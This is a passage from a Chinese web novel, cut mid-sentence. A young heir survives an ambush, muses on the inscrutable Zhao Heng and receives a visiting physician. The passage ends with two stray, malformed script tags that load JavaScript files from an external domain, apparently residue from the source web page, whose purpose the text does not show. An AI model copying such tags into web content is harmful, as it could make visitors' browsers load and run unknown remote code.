可那些人,就像是凭空出现,精准地在青阳山下的那片密林里设下了埋伏。
对方人数不多,只有七人。但个个都是顶尖的好手,出手狠辣,招招致命,没有半句废话,唯一的目的就是取他性命。
他身边那四名跟了他多年的护卫,每一个都能以一当十,却在不到一炷香的时间里,尽数被屠戮。若不是贴身护卫长拼死将他推下山坡,他现在早已是一具冰冷的尸体。
是谁?
京城里那些巴不得他死的兄弟?还是生意场上那些视沈家为眼中钉的对手?
他自认行事隐秘,以纨绔子弟的面目示人,多年来从未真正插手过家族的核心生意。知道他真实身份和能力的人,屈指可数。能动用这等死士,又能精准掌握他行踪的,绝非等闲之辈。
线索断了。那四个护卫是最后的知情人,他们一死,自己就像是断了线的风筝,彻底成了睁眼瞎。
沈知微的眼底闪过一丝异色。他能感觉到,自己胸口的伤处,有一种奇异的、紧绷的牵扯感。正是这种感觉,锁住了他不断流失的生命力。
他又想起了赵衡这个人。
浑身都是谜。
钱德海给他的那袋银子,赵衡收下了。收得很干脆。
这本是沈知微乐于见到的。只要爱财,那就好办。这世上,最怕的不是贪婪的人,而是无欲无求的人。一个无欲无求的人,无法被掌控,无法被利用。
可直觉告诉他,赵衡收下那袋钱,并非出于贪婪,而更像是一种……了结。
仿佛在说,我救你,你付钱,我们两清了。
这种感觉让沈知微感到一丝不快。在他十九年的人生里,万事万物皆可为筹码,所有人都是棋盘上的棋子,区别只在于价值大小。他从未遇到过一个像赵衡这样,让他看不透、摸不准,甚至隐隐感觉无法掌控的变数。
思索之际,门外传来一阵急促而又刻意压低的脚步声。
钱德海亲自引着一个须发半白、身穿蓝色绸衫、背着一个古朴药箱的老者走了进来。
“胡神医,快!快请!”钱德海的声音里带着哭腔和谄媚,“您可算来了,再晚一步,您就得去我坟头给我瞧病了!”
来人正是清河县杏林堂的坐馆大夫,胡庆丰。
胡庆丰在清河县行医三十余年,祖上三代都在太医院当过差,一手医术在整个县里都
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">